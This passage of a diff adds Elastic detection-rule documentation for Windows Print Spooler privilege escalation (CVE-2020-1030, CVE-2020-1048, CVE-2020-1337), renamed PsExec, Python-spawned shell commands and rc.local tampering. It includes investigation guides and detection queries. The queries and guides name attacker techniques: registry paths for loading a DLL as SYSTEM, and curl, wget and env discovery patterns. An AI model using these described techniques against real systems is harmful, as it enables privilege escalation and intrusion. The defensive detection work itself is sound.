"C:\Windows\System32\spool\drivers\x64\3\". +- Examine the process responsible for the deletion by checking the process name and its parent process to determine if it is a known legitimate process or a potentially malicious one. +- Investigate the timeline of events around the deletion to identify any preceding or subsequent suspicious activities, such as privilege escalation attempts or unauthorized access. +- Check for any recent vulnerabilities or exploits related to the Print Spooler service that might have been leveraged in this context. +- Correlate the event with other security logs and alerts from data sources like Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and confirm the presence of malicious activity. +- Assess the affected system for any signs of compromise or persistence mechanisms that may have been established following the deletion event. + + +*False positive analysis* + + +- System maintenance or updates may trigger legitimate deletions of print driver files. Monitor scheduled maintenance activities and correlate them with detected events to confirm legitimacy. +- Third-party printer management software might delete or update driver files as part of its normal operation. Identify and whitelist these processes if they are verified as non-threatening. +- Custom scripts or administrative tools used by IT staff for printer management could inadvertently match the rule's criteria. Review and document these tools, then create exceptions for known safe operations. +- Automated deployment tools that update or clean up printer drivers across the network might cause false positives. Ensure these tools are recognized and excluded from the detection rule if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as responsible for the deletion of print driver files, ensuring they are not legitimate system processes. +- Restore the deleted print driver files from a known good backup to ensure the Print Spooler service functions correctly. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized privilege escalations. +- Apply the latest security patches and updates to the Print Spooler service and related components to mitigate known vulnerabilities. +- Monitor the affected system and network for any signs of further suspicious activity, focusing on similar file deletion patterns or privilege escalation attempts. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "deletion" and + file.extension : "dll" and file.path : "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.dll" and + not process.name : ("spoolsv.exe", "dllhost.exe", "explorer.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-point-and-print-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-point-and-print-dll.asciidoc new file mode 100644 index 0000000000..ee3857b48c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-point-and-print-dll.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-suspicious-print-spooler-point-and-print-dll]] +=== Suspicious Print Spooler Point and Print DLL + +Detects attempts to exploit a privilege escalation vulnerability (CVE-2020-1030) related to the print spooler service. Exploitation involves chaining multiple primitives to load an arbitrary DLL into the print spooler process running as SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Privilege%20Escalation/privesc_sysmon_cve_20201030_spooler.evtx +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1030 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Print Spooler Point and Print DLL* + + +The Windows Print Spooler service manages print jobs and is integral to printing operations. Adversaries exploit vulnerabilities like CVE-2020-1030 to escalate privileges by loading malicious DLLs into the spooler process, which runs with SYSTEM-level permissions. The detection rule identifies suspicious registry modifications linked to the Print Spooler, indicating potential exploitation attempts by monitoring specific registry paths and data patterns. + + +*Possible investigation steps* + + +- Review the registry paths specified in the alert to confirm any unauthorized modifications, focusing on the paths: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\*\SpoolDirectory and HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\*\CopyFiles\Payload\Module. +- Check the registry data strings for any unexpected or suspicious DLLs located in C:\Windows\System32\spool\drivers\x64\4, which may indicate a malicious payload. +- Investigate the host identified by host.id to determine if there are any other signs of compromise or unusual activity, such as unexpected processes or network connections. +- Correlate the alert with other security events or logs from the same host to identify any related activities or patterns that could suggest a broader attack. +- Assess the system's patch level and update status to ensure that all known vulnerabilities, including CVE-2020-1030, have been addressed and mitigated. +- If a malicious DLL is confirmed, isolate the affected system to prevent further exploitation and begin remediation efforts, such as removing the malicious files and restoring the system to a known good state. + + +*False positive analysis* + + +- Legitimate printer driver updates or installations may trigger the rule due to registry modifications in the specified paths. Users can create exceptions for known and trusted driver update processes to prevent false alerts. +- Custom print configurations by IT departments that modify the SpoolDirectory or CopyFiles registry paths might be flagged. Document and exclude these configurations if they are verified as safe and necessary for business operations. +- Automated scripts or software that manage printer settings and inadvertently modify the monitored registry paths can cause false positives. Identify and whitelist these scripts or applications after confirming their legitimacy. +- Third-party print management solutions that interact with the Print Spooler service may lead to false detections. Evaluate these solutions and exclude their known benign activities from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the Print Spooler service on the compromised system to stop any ongoing malicious activity and prevent further DLL loading. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any malicious DLLs or related files. +- Review and restore the registry paths identified in the detection query to their default values to ensure no malicious configurations remain. +- Apply the latest security patches and updates from Microsoft to address CVE-2020-1030 and other known vulnerabilities in the Print Spooler service. +- Monitor the network for any signs of similar exploitation attempts, focusing on the registry paths and data patterns specified in the detection rule. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s +[registry where host.os.type == "windows" and + registry.value : "SpoolDirectory" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\SpoolDirectory" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4"] +[registry where host.os.type == "windows" and + registry.value : "Module" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\CopyFiles\\Payload\\Module" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4\\*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-spl-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-spl-file-created.asciidoc new file mode 100644 index 0000000000..ec53c0fd26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-spl-file-created.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-suspicious-print-spooler-spl-file-created]] +=== Suspicious Print Spooler SPL File Created + +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service including CVE-2020-1048 and CVE-2020-1337. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://safebreach.com/Post/How-we-bypassed-CVE-2020-1048-Patch-and-got-CVE-2020-1337 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Print Spooler SPL File Created* + + +Print Spooler is a Windows service enabled by default in all Windows clients and servers. The service manages print jobs by loading printer drivers, receiving files to be printed, queuing them, scheduling, etc. + +The Print Spooler service has some known vulnerabilities that attackers can abuse to escalate privileges to SYSTEM, like CVE-2020-1048 and CVE-2020-1337. This rule looks for unusual processes writing SPL files to the location `?:\Windows\System32\spool\PRINTERS\`, which is an essential step in exploiting these vulnerabilities. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of process executable and file conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that the machine has the latest security updates and is not running legacy Windows versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : "spl" and + file.path : "?:\\Windows\\System32\\spool\\PRINTERS\\*" and + not process.name : ("spoolsv.exe", + "printfilterpipelinesvc.exe", + "PrintIsolationHost.exe", + "splwow64.exe", + "msiexec.exe", + "poqexec.exe", + "System") and + not user.id : "S-1-5-18" and + not process.executable : + ("?:\\Windows\\System32\\mmc.exe", + "\\Device\\Mup\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\System32\\printui.exe", + "?:\\Windows\\System32\\mstsc.exe", + "?:\\Windows\\System32\\spool\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\PROGRA~1\\*.exe", + "?:\\PROGRA~2\\*.exe", + "?:\\Windows\\System32\\rundll32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-process-execution-via-renamed-psexec-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-process-execution-via-renamed-psexec-executable.asciidoc new file mode 100644 index 0000000000..ad3d3b4ae0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-process-execution-via-renamed-psexec-executable.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-suspicious-process-execution-via-renamed-psexec-executable]] +=== Suspicious Process Execution via Renamed PsExec Executable + +Identifies suspicious psexec activity which is executing from the psexec service that has been renamed, possibly to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Execution via Renamed PsExec Executable* + + +PsExec is a remote administration tool that enables the execution of commands with both regular and SYSTEM privileges on Windows systems. It operates by executing a service component `Psexecsvc` on a remote system, which then runs a specified process and returns the results to the local system. Microsoft develops PsExec as part of the Sysinternals Suite. Although commonly used by administrators, PsExec is frequently used by attackers to enable lateral movement and execute commands as SYSTEM to disable defenses and bypass security protections. + +This rule identifies instances where the PsExec service component is executed using a custom name. This behavior can indicate an attempt to bypass security controls or detections that look for the default PsExec service component name. + + +*Possible investigation steps* + + +- Check if the usage of this tool complies with the organization's administration policy. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. As long as the analyst did not identify suspicious activity related to the user or involved hosts, and the tool is allowed by the organization's policy, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.pe.original_file_name : "psexesvc.exe" and not process.name : "PSEXESVC.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-python-shell-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-python-shell-command-execution.asciidoc new file mode 100644 index 0000000000..40d096c4e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-python-shell-command-execution.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-suspicious-python-shell-command-execution]] +=== Suspicious Python Shell Command Execution + +Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Python Shell Command Execution* + + +This rule flags Linux or macOS activity where Python rapidly launches multiple shell commands through sh/bash-style interpreters, a strong sign that a script is driving hands-on execution rather than normal application behavior. An attacker might use a Python backdoor to run `sh -c` commands such as `whoami`, `uname`, `env`, `find`, and `curl` in quick succession to profile the host, locate data, and pull down follow-on tools. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the Python parent to identify the originating script or module, execution path, user context, and whether it was launched by an interactive session, scheduled task, service, container runtime, or approved automation. +- Review the Python code or script content that spawned the shells, along with recent file creation or modification and package installation activity, to determine whether it is legitimate application logic or an unexpected payload introduced in temporary, user, or application directories. +- Compare the clustered shell commands with any immediate follow-on behavior such as outbound network connections, tool downloads, archive creation, credential store access, or additional interpreter launches to assess whether the activity moved from discovery into payload delivery or exfiltration. +- Pivot on the same host and Python execution lineage for prior and subsequent events to uncover persistence or lateral movement indicators, including cron or systemd changes, launchd modifications, SSH activity, or repeated execution patterns across other endpoints. +- Validate with the asset or application owner whether the behavior matches known deployment, build, or administrative workflows, and if it does not, isolate the host and collect memory, script artifacts, and shell history for deeper analysis. + + +*False positive analysis* + + +- A legitimate Python administration or deployment script may call `sh -c` to run discovery and download commands such as `whoami`, `uname`, `env`, `find`, or `curl` during host setup; verify the parent Python script path, user, and working directory match an approved maintenance job and that the command set is expected for that script. +- A Python application on Linux or macOS may spawn shell wrappers during startup, diagnostics, or update checks and generate several distinct commands within a minute; confirm the Python executable and child shell activity originate from the expected application directory and correlate with a recent authorized install, upgrade, or troubleshooting session. + + +*Response and remediation* + + +- Isolate the affected Linux or macOS host from the network, terminate the malicious Python process and any spawned `sh -c` or `bash -c` children, and block any external IPs, domains, or download URLs the script contacted. +- Preserve and quarantine the Python script, shell history, downloaded payloads, and files created in temporary, user, or application directories, then remove attacker persistence such as cron jobs, systemd service or timer units, launchd plists, login scripts, and unauthorized `authorized_keys` entries. +- Restore the system to a known-good state by removing attacker-created files only after collection, reinstalling or repairing modified packages and startup items, and reimaging the host if system binaries, security tools, or core configuration files were altered. +- Rotate credentials and secrets exposed on the host, including local accounts, SSH keys, API tokens, and application or cloud credentials, especially if the shell activity included `env`, keychain access, history review, or reads from credential files. +- Escalate to incident response immediately if the Python-launched shells used `curl` or `wget` to fetch payloads, established outbound sessions to untrusted infrastructure, touched multiple endpoints, or showed evidence of credential theft, persistence, or data collection. +- Harden the environment by restricting Python and shell execution from temporary or user-writable paths, limiting which users and services can invoke shell interpreters, tightening egress controls, and adding detections for Python spawning shell commands, new cron or launchd items, and unauthorized SSH key changes. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _version, _index + +| WHERE host.os.type in ("linux", "macos") and event.type == "start" and TO_LOWER(process.parent.name) like "python*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and + KQL("""event.action:"exec" and process.args:("-c" or "-cl" or "-lc")""") + +// truncate timestamp to 1-minute window +| EVAL Esql.time_window_date_trunc = DATE_TRUNC(1 minutes, @timestamp) + +| EVAL Esql.process_command_line_patterns = CASE( + process.command_line like "*grep*", "grep", + process.command_line like "*find*", "find", + process.command_line like "*curl*", "curl", + process.command_line like "*env *", "environment_enumeration", + process.command_line like "*wget*", "wget", + process.command_line like "*whoami*" or process.command_line like "*uname*" or process.command_line like "*hostname*", "discovery", "other" +) + +| KEEP + @timestamp, + _id, + _index, + _version, + Esql.process_command_line_patterns, + Esql.time_window_date_trunc, + host.os.type, + event.type, + event.action, + process.parent.name, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + process.parent.entity_id, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| STATS + Esql.process_command_line_count_distinct = COUNT_DISTINCT(process.command_line), + Esql.patterns_count_distinct = COUNT_DISTINCT(Esql.process_command_line_patterns), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + BY process.parent.entity_id, agent.id, host.name, Esql.time_window_date_trunc + +| SORT Esql.process_command_line_count_distinct DESC +| WHERE Esql.process_command_line_count_distinct >= 5 AND Esql.patterns_count_distinct >= 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-rc-local-error-message.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-rc-local-error-message.asciidoc new file mode 100644 index 0000000000..79f92be8fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-rc-local-error-message.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-suspicious-rc-local-error-message]] +=== Suspicious rc.local Error Message + +This rule monitors the syslog log file for error messages related to the rc.local process. The rc.local file is a script that is executed during the boot process on Linux systems. Attackers may attempt to modify the rc.local file to execute malicious commands or scripts during system startup. This rule detects error messages such as "Connection refused," "No such file or directory," or "command not found" in the syslog log file, which may indicate that the rc.local file has been tampered with. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious rc.local Error Message* + + +The rc.local script is crucial in Linux systems, executing commands at boot. Adversaries may exploit this by inserting malicious scripts to gain persistence. The detection rule monitors syslog for specific error messages linked to rc.local, such as "Connection refused," indicating potential tampering. This proactive monitoring helps identify unauthorized modifications, mitigating persistent threats. + + +*Possible investigation steps* + + +- Review the syslog entries for the specific error messages "Connection refused," "No such file or directory," or "command not found" associated with the rc.local process to understand the context and frequency of these errors. +- Check the rc.local file for any recent modifications or unusual entries that could indicate tampering or unauthorized changes. +- Investigate the source of the error messages by identifying any related processes or network connections that might have triggered the "Connection refused" error. +- Examine the system's boot logs and startup scripts to identify any anomalies or unauthorized scripts that may have been introduced. +- Cross-reference the timestamps of the error messages with other system logs to identify any correlated suspicious activities or changes in the system. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify the rc.local file, triggering error messages. Users can create exceptions for known update processes by identifying the specific software and excluding its related syslog entries. +- Custom scripts or administrative tasks that intentionally modify rc.local for legitimate purposes might cause false alerts. Document these scripts and add them to an exclusion list to prevent unnecessary alerts. +- Network configuration changes can lead to temporary "Connection refused" errors. If these changes are expected, users should temporarily adjust the monitoring rule to ignore these specific messages during the maintenance window. +- System misconfigurations or missing dependencies might result in "No such file or directory" or "command not found" errors. Regularly audit system configurations and ensure all necessary files and commands are correctly installed to minimize these false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of potential malware. +- Review the rc.local file for unauthorized modifications and restore it from a known good backup if tampering is confirmed. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or software. +- Check for additional persistence mechanisms by reviewing other boot or logon initialization scripts and scheduled tasks. +- Escalate the incident to the security operations team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring on the affected system and similar systems to detect any future unauthorized changes to boot scripts. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system files like rc.local. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + 